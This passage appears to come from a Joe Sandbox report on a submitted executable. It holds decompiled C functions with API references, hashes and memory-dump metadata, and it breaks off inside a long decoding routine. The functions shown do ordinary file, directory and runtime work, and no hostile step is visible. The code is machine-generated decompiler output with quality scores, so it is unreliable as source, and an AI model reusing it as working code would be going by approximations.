0x0040f8cd
0x0040f8ce
0x0040f8d5
0x0040f8db
0x0040f8f0
0x0040f8f9

APIs

__EH_prolog.LIBCMT ref: 0040F8C8

Part of subcall function 0040F648: __EH_prolog.LIBCMT ref: 0040F64D

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
Instruction ID: 6b40bdca6a02cd8c303c1b1c800ac92429027f894e9b325ac65d5e69f4ab0667
Opcode Fuzzy Hash: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
Instruction Fuzzy Hash: 0CD01272911104EBD711AB49D842BDEBB68EB8135DF10853BF00171550C37D56459569

Uniqueness

Uniqueness Score: -1.00%

Function 00405B7B Relevance: 1.5, APIs: 1, Instructions: 18
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00405B7B(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				signed int _t11;

				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t11 = ReadFile( *__ecx, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t11 & 0xffffff00 | _t11 != 0x00000000;
			}

0x00405b7e
0x00405b85
0x00405b91
0x00405b9f
0x00405ba5

APIs

ReadFile.KERNELBASE(000000FF,00000000,?,?,00000000,000000FF,?,00405BC6,00000000,?,00000000,?,00405BEC,00000000,?,00000000), ref: 00405B91

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
Instruction ID: c5e24743f6b433bb21cc94cc2971fe47eb8403274bd7f90fdb54931116458873
Opcode Fuzzy Hash: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
Instruction Fuzzy Hash: 7EE0EC75241208FBCB01CF90CD01FCE7BB9EB49754F208058E90596160D375AA14EB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040551A Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040551A(void** __ecx) {
				void* _t1;
				int _t3;
				signed int* _t6;

				_t6 = __ecx;
				_t1 =  *__ecx;
				if(_t1 == 0xffffffff) {
					L4:
					return 1;
				} else {
					_t3 = FindClose(_t1); // executed
					if(_t3 != 0) {
						 *_t6 =  *_t6 | 0xffffffff;
						goto L4;
					} else {
						return 0;
					}
				}
			}

0x0040551b
0x0040551d
0x00405522
0x00405536
0x00405539
0x00405524
0x00405525
0x0040552d
0x00405533
0x00000000
0x0040552f
0x00405532
0x00405532
0x0040552d

APIs

FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
Instruction ID: 986561ebb0227da743eeb2b9ec995cdcc659c9848a972ac8d271436d9e92df52
Opcode Fuzzy Hash: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
Instruction Fuzzy Hash: 6BD0123150452166CF745E3C7C459C333D99A123B03660BAAF4B4D32E5D3748CC35AD4

Uniqueness

Uniqueness Score: -1.00%

Function 00405A63 Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A63(void** __ecx) {
				void* _t1;
				int _t3;
				signed int* _t6;

				_t6 = __ecx;
				_t1 =  *__ecx;
				if(_t1 == 0xffffffff) {
					L4:
					return 1;
				} else {
					_t3 = FindCloseChangeNotification(_t1); // executed
					if(_t3 != 0) {
						 *_t6 =  *_t6 | 0xffffffff;
						goto L4;
					} else {
						return 0;
					}
				}
			}

0x00405a64
0x00405a66
0x00405a6b
0x00405a7f
0x00405a82
0x00405a6d
0x00405a6e
0x00405a76
0x00405a7c
0x00000000
0x00405a78
0x00405a7b
0x00405a7b
0x00405a76

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,00405A2C,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A6E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
Instruction ID: 8a38a6d9813b312501c47e0c29c9a2f8cf12ac5fa7676fc4773f80372e0f1af5
Opcode Fuzzy Hash: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
Instruction Fuzzy Hash: 5CD0C93160462146CA645E3C7C849D737D89A16330325176AF0B5D22E4D3748D875E94

Uniqueness

Uniqueness Score: -1.00%

Function 00404BDC Relevance: 1.5, APIs: 1, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BDC(CHAR* __ecx, void* __eflags) {
				void* _t3;
				signed int _t4;

				_t3 = E0040489C(__ecx, 0);
				if(_t3 != 0) {
					_t4 = DeleteFileA(__ecx); // executed
					return _t4 & 0xffffff00 | _t4 != 0x00000000;
				} else {
					return _t3;
				}
			}

0x00404be1
0x00404be8
0x00404bed
0x00404bf9
0x00404beb
0x00404beb
0x00404beb

APIs

Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

DeleteFileA.KERNELBASE(?,?,00404DBF,?,00000000,?,?,?,?,?,00000000), ref: 00404BED

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
Instruction ID: 9a45e8f854b003a178289988cc7fc064ae5902da4cc88310474d582750e90668
Opcode Fuzzy Hash: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
Instruction Fuzzy Hash: 0BC08C26209231439A043ABA3805ACB171E0EC122030AC0BBB800A2059CB288DC221DC

Uniqueness

Uniqueness Score: -1.00%

Function 00405C5A Relevance: 1.5, APIs: 1, Instructions: 9
timeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405C5A(void** __ecx, FILETIME* _a4, FILETIME* _a8, FILETIME* _a12) {
				signed int _t4;

				_t4 = SetFileTime( *__ecx, _a4, _a8, _a12); // executed
				asm("sbb eax, eax");
				return  ~( ~_t4);
			}

0x00405c68
0x00405c70
0x00405c74

APIs

SetFileTime.KERNELBASE(?,?,?,?,00405C84,00000000,00000000,?,00402E12,?), ref: 00405C68

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
Instruction ID: 87fe90df0bd66b56430cb58ce5188ab21e49bedd0782b4bf3c7b48ca6ef22eff
Opcode Fuzzy Hash: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
Instruction Fuzzy Hash: 8EC04C36158105FF8F020F70CC04C5EBFA2EB99711F10C918B269C40B0C7328024EB02

Uniqueness

Uniqueness Score: -1.00%

Function 0040489C Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040489C(CHAR* __ecx, long __edx) {
				signed int _t3;

				_t3 = SetFileAttributesA(__ecx, __edx); // executed
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x0040489e
0x004048a9

APIs

SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
Instruction ID: c0231da6564a4fbd22ddd4f059f5cfeb57e5ba4ab4dd36146b68eeddd1056acd
Opcode Fuzzy Hash: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
Instruction Fuzzy Hash: 5BA002A03112059BA6145B315E0AB6F296DEDC9AE1705C56C7412C5060EB29C9505565

Uniqueness

Uniqueness Score: -1.00%

Function 0040498D Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040498D(CHAR* __ecx) {
				signed int _t3;

				_t3 = CreateDirectoryA(__ecx, 0); // executed
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x00404990
0x0040499b

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
Instruction ID: 18df801fa9cda183c38834b8287032c54ef98b8f5de1dc60049a64e9909c76fe
Opcode Fuzzy Hash: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
Instruction Fuzzy Hash: DCA0223030030283E2200F320E0AB0F280CAF08AC0F00C02C3000C80E0FB28C000008C

Uniqueness

Uniqueness Score: -1.00%

Function 004048AA Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004048AA(CHAR* __ecx) {
				signed int _t3;

				_t3 = RemoveDirectoryA(__ecx); // executed
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x004048ab
0x004048b6

APIs

RemoveDirectoryA.KERNELBASE(?,00404D27,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 004048AB

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DirectoryRemove
String ID:
API String ID: 597925465-0
Opcode ID: 5eb19e86367385bc71ec08970d66f6ec81c8b6c1d5f16cf833c81eadf1f07443
Instruction ID: 8a2519b774f471bade5b05e48f192836a719b77eeaa2736f11b150acbb720719
Opcode Fuzzy Hash: 5eb19e86367385bc71ec08970d66f6ec81c8b6c1d5f16cf833c81eadf1f07443
Instruction Fuzzy Hash: E7A002603112058796241B315F0968F295D9D455D1706C5696516C4060DB29C5505555

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00418320 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 46%

			E00418320(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr* _t4;
				intOrPtr* _t7;
				_Unknown_base(*)()* _t11;
				void* _t14;
				struct HINSTANCE__* _t15;
				void* _t17;

				_t14 = 0;
				_t17 =  *0x423514 - _t14; // 0x0
				if(_t17 != 0) {
					L4:
					_t4 =  *0x423518; // 0x0
					if(_t4 != 0) {
						_t14 =  *_t4();
						if(_t14 != 0) {
							_t7 =  *0x42351c; // 0x0
							if(_t7 != 0) {
								_t14 =  *_t7(_t14);
							}
						}
					}
					return  *0x423514(_t14, _a4, _a8, _a12);
				}
				_t15 = LoadLibraryA("user32.dll");
				if(_t15 == 0) {
					L10:
					return 0;
				}
				_t11 = GetProcAddress(_t15, "MessageBoxA");
				 *0x423514 = _t11;
				if(_t11 == 0) {
					goto L10;
				} else {
					 *0x423518 = GetProcAddress(_t15, "GetActiveWindow");
					 *0x42351c = GetProcAddress(_t15, "GetLastActivePopup");
					goto L4;
				}
			}

0x00418321
0x00418323
0x0041832b
0x0041836f
0x0041836f
0x00418376
0x0041837a
0x0041837e
0x00418380
0x00418387
0x0041838c
0x0041838c
0x00418387
0x0041837e
0x00000000
0x0041839b
0x00418338
0x0041833c
0x004183a5
0x00000000
0x004183a5
0x0041834a
0x0041834e
0x00418353
0x00000000
0x00418355
0x00418363
0x0041836a
0x00000000
0x0041836a

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0041795A,?,Microsoft Visual C++ Runtime Library,00012010,?,0041BD2C,?,0041BD7C,?,?,?,Runtime Error!Program: ), ref: 00418332
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041834A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041835B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00418368

Strings

MessageBoxA, xrefs: 00418344
GetLastActivePopup, xrefs: 0041835D
GetActiveWindow, xrefs: 00418355
user32.dll, xrefs: 0041832D

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
Instruction ID: e87ed1bb16eb8be6f8b96595097180185a60ce52c98033cfd4ddfb8cddd90555
Opcode Fuzzy Hash: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
Instruction Fuzzy Hash: C50179713002057F87209FB59C80A9B7AF4EB44B45318003EB558C3251DB6DCFC29BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5A5 Relevance: 1.7, APIs: 1, Instructions: 246
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E0040E5A5(intOrPtr __ecx, signed int __edx) {
				signed int _t133;
				intOrPtr _t135;
				signed int _t136;
				signed int _t137;
				signed int _t148;
				intOrPtr _t159;
				signed int _t160;
				intOrPtr _t162;
				void* _t164;
				signed int _t167;
				intOrPtr _t175;
				signed int _t177;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr _t185;
				intOrPtr _t201;
				signed int _t211;
				signed int _t214;
				signed int _t215;
				intOrPtr _t217;
				signed int _t218;
				void* _t219;
				void* _t220;
				void* _t221;
				signed int _t223;
				signed int _t225;
				void* _t226;

				_t211 = __edx;
				E00413954(E0041A690, _t226);
				_t175 = __ecx;
				 *((intOrPtr*)(_t226 - 0x14)) = __ecx;
				E004042D6();
				_t223 =  *(_t226 + 8);
				E00404327( *((intOrPtr*)(_t226 + 0xc)),  *(_t223 + 8));
				while(1) {
					_t133 = E0040DBF4( *((intOrPtr*)(_t175 + 0x18)), _t211);
					_t183 = _t211;
					 *(_t226 - 0x1c) = _t133;
					 *(_t226 - 0x18) = _t183;
					if(_t133 != 0xd) {
						goto L6;
					}
					L2:
					_t211 = 0;
					if(_t183 != 0) {
						L7:
						__eflags = _t133 - 0xa;
						if(_t133 != 0xa) {
							L9:
							__eflags = _t133 - 9;
							if(_t133 != 9) {
								L11:
								__eflags = _t133 | _t183;
								if((_t133 | _t183) == 0) {
									L13:
									_t135 =  *((intOrPtr*)(_t226 + 0xc));
									__eflags =  *((intOrPtr*)(_t135 + 8)) - _t211;
									if( *((intOrPtr*)(_t135 + 8)) != _t211) {
										L17:
										_t184 =  *((intOrPtr*)(_t226 + 0xc));
										_t214 = 0;
										 *(_t226 - 0x10) = 0;
										__eflags =  *((intOrPtr*)(_t184 + 8)) - _t211;
										if( *((intOrPtr*)(_t184 + 8)) <= _t211) {
											L27:
											__eflags =  *(_t226 - 0x1c) - 9;
											if( *(_t226 - 0x1c) == 9) {
												__eflags =  *(_t226 - 0x18) - _t211;
												if( *(_t226 - 0x18) == _t211) {
													_t160 = E0040DBF4( *((intOrPtr*)(_t175 + 0x18)), _t211);
													_t184 =  *((intOrPtr*)(_t226 + 0xc));
													 *(_t226 - 0x18) = _t211;
													 *(_t226 - 0x1c) = _t160;
													_t211 = 0;
													__eflags = 0;
												}
											}
											_t215 =  *(_t223 + 8);
											 *(_t226 - 0x10) = _t211;
											__eflags = _t215 - _t211;
											 *(_t226 + 8) = _t211;
											if(_t215 <= _t211) {
												L37:
												_t136 =  *(_t226 - 0x1c);
												__eflags = _t136 - 0xa;
												if(_t136 != 0xa) {
													L48:
													_t137 = _t136 |  *(_t226 - 0x18);
													__eflags = _t137;
													if(_t137 == 0) {
														_t185 =  *((intOrPtr*)(_t226 + 0x14));
														__eflags =  *((intOrPtr*)(_t185 + 8)) - _t211;
														if( *((intOrPtr*)(_t185 + 8)) != _t211) {
															L54:
															 *[fs:0x0] =  *((intOrPtr*)(_t226 - 0xc));
															return _t137;
														}
														E0040D9F9(_t185,  *(_t226 + 8));
														_t137 = E004042D6();
														_t225 =  *(_t226 + 8);
														__eflags = _t225;
														if(_t225 <= 0) {
															goto L54;
														} else {
															goto L53;
														}
														do {
															L53:
															_t137 = E004039DF( *((intOrPtr*)(_t226 + 0x18)), 0);
															_t225 = _t225 - 1;
															__eflags = _t225;
														} while (_t225 != 0);
														goto L54;
													}
													E0040DBE1( *((intOrPtr*)(_t175 + 0x18)), _t211);
													L50:
													 *(_t226 - 0x1c) = E0040DBF4( *((intOrPtr*)(_t175 + 0x18)), _t211);
													 *(_t226 - 0x18) = _t211;
													goto L36;
												}
												__eflags =  *(_t226 - 0x18) - _t211;
												if(__eflags != 0) {
													goto L48;
												}
												 *(_t226 - 0x48) = _t211;
												 *(_t226 - 0x44) = _t211;
												 *(_t226 - 0x40) = _t211;
												 *((intOrPtr*)(_t226 - 0x3c)) = 1;
												 *((intOrPtr*)(_t226 - 0x4c)) = 0x41b748;
												 *(_t226 - 4) = _t211;
												 *(_t226 - 0x34) = _t211;
												 *(_t226 - 0x30) = _t211;
												 *(_t226 - 0x2c) = _t211;
												 *((intOrPtr*)(_t226 - 0x28)) = 4;
												 *((intOrPtr*)(_t226 - 0x38)) = 0x41b684;
												 *(_t226 - 4) = 1;
												E0040E23F(_t175, __eflags,  *(_t226 - 0x10), _t226 - 0x4c, _t226 - 0x38);
												_t177 = 0;
												__eflags =  *(_t223 + 8);
												 *(_t226 + 0x10) = 0;
												if( *(_t223 + 8) <= 0) {
													L47:
													 *(_t226 - 4) =  *(_t226 - 4) & 0x00000000;
													E004042AD(_t226 - 0x38);
													 *(_t226 - 4) =  *(_t226 - 4) | 0xffffffff;
													E004042AD(_t226 - 0x4c);
													_t175 =  *((intOrPtr*)(_t226 - 0x14));
													goto L50;
												} else {
													goto L40;
												}
												do {
													L40:
													_t217 =  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0xc)) + _t177 * 4));
													_t148 =  *( *((intOrPtr*)( *((intOrPtr*)(_t226 + 0xc)) + 0xc)) + _t177 * 4);
													__eflags = _t148 - 1;
													if(_t148 != 1) {
														L43:
														__eflags = _t148;
														if(_t148 <= 0) {
															goto L46;
														}
														_t218 = _t148;
														do {
															E0040C413( *((intOrPtr*)(_t226 + 0x14)),  *((intOrPtr*)( *(_t226 - 0x40) +  *(_t226 + 0x10))));
															E004039DF( *((intOrPtr*)(_t226 + 0x18)),  *((intOrPtr*)( *(_t226 - 0x2c) +  *(_t226 + 0x10) * 4)));
															 *(_t226 + 0x10) =  *(_t226 + 0x10) + 1;
															_t218 = _t218 - 1;
															__eflags = _t218;
														} while (_t218 != 0);
														goto L46;
													}
													__eflags =  *((char*)(_t217 + 0x54));
													if( *((char*)(_t217 + 0x54)) == 0) {
														goto L43;
													}
													E0040C413( *((intOrPtr*)(_t226 + 0x14)), _t148);
													E004039DF( *((intOrPtr*)(_t226 + 0x18)),  *((intOrPtr*)(_t217 + 0x50)));
													L46:
													_t177 = _t177 + 1;
													__eflags = _t177 -  *(_t223 + 8);
												} while (_t177 <  *(_t223 + 8));
												goto L47;
											} else {
												 *(_t226 + 0x10) =  *(_t184 + 0xc);
												do {
													_t201 =  *((intOrPtr*)( *(_t226 + 0x10) + _t211 * 4));
													__eflags = _t201 - 1;
													if(_t201 != 1) {
														L34:
														_t64 = _t226 - 0x10;
														 *_t64 =  *(_t226 - 0x10) + _t201;
														__eflags =  *_t64;
														goto L35;
													}
													_t159 =  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0xc)) + _t211 * 4));
													__eflags =  *((char*)(_t159 + 0x54));
													if( *((char*)(_t159 + 0x54)) != 0) {
														goto L35;
													}
													goto L34;
													L35:
													 *(_t226 + 8) =  *(_t226 + 8) + _t201;
													_t211 = _t211 + 1;
													__eflags = _t211 - _t215;
												} while (_t211 < _t215);
												L36:
												_t211 = 0;
												__eflags = 0;
												goto L37;
											}
										} else {
											goto L18;
										}
										do {
											L18:
											_t162 =  *((intOrPtr*)( *(_t184 + 0xc) + _t214 * 4));
											__eflags = _t162 - _t211;
											if(_t162 == _t211) {
												goto L26;
											}
											__eflags = _t162 - 1;
											 *(_t226 - 0x24) = _t211;
											 *(_t226 - 0x20) = _t211;
											if(_t162 <= 1) {
												L25:
												_t164 = E0040C281( *((intOrPtr*)( *((intOrPtr*)(_t223 + 0xc)) + _t214 * 4)));
												asm("sbb edx, [ebp-0x20]");
												E0040F953( *(_t226 + 0x10), _t164 -  *(_t226 - 0x24), _t211);
												_t184 =  *((intOrPtr*)(_t226 + 0xc));
												_t211 = 0;
												__eflags = 0;
												goto L26;
											}
											_t167 = _t162 - 1;
											__eflags = _t167;
											 *(_t226 + 8) = _t167;
											do {
												__eflags =  *(_t226 - 0x1c) - 9;
												if( *(_t226 - 0x1c) == 9) {
													__eflags =  *(_t226 - 0x18) - _t211;
													if( *(_t226 - 0x18) == _t211) {
														_t219 = E0040DBF4( *((intOrPtr*)(_t175 + 0x18)), _t211);
														E0040F953( *(_t226 + 0x10), _t219, _t211);
														 *(_t226 - 0x24) =  *(_t226 - 0x24) + _t219;
														_t214 =  *(_t226 - 0x10);
														asm("adc [ebp-0x20], ebx");
														_t175 =  *((intOrPtr*)(_t226 - 0x14));
														_t211 = 0;
														__eflags = 0;
													}
												}
												_t36 = _t226 + 8;
												 *_t36 =  *(_t226 + 8) - 1;
												__eflags =  *_t36;
											} while ( *_t36 != 0);
											goto L25;
											L26:
											_t214 = _t214 + 1;
											__eflags = _t214 -  *((intOrPtr*)(_t184 + 8));
											 *(_t226 - 0x10) = _t214;
										} while (_t214 <  *((intOrPtr*)(_t184 + 8)));
										goto L27;
									}
									_t220 = 0;
